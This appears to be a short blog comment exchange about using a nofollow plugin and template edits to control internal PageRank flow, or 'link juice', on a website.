      So, how easy would'nt it be to include the url's of our feeds? Saving a ton of link juice. Links to our main site, or to the site of a link buyer (is there such a term?) would then automatically be a dofollow.

      Anyone see any holes in this let me know, please.

      Evita
      I haven't used that plugin, but if I read it right, it automatically nofollows several prominent websites that don't really need the backlink love, and who don't actually reciprocate, correct?

      And what you're suggesting is adding your own internal links so you nofollow yourself?

      The real way to do what you're talking about is work with your templates and widgets in order to hard-code the nofollow in there if you don't want to leak PR internally. There may be a plugin that helps with this (nofollowing your own internal structure properly) but I haven't looked into it.

      However, it's *possible* your method would work. It depends on the way the plugin was coded - if it will apply itself to ALL content including your template (doubtful) or if it only applies to your content (not really useful).

      But try it out and see! There's only one way to know for sure and that's to TEST!

      I'll add this to my list of things to investigate, too. Thanks for the idea!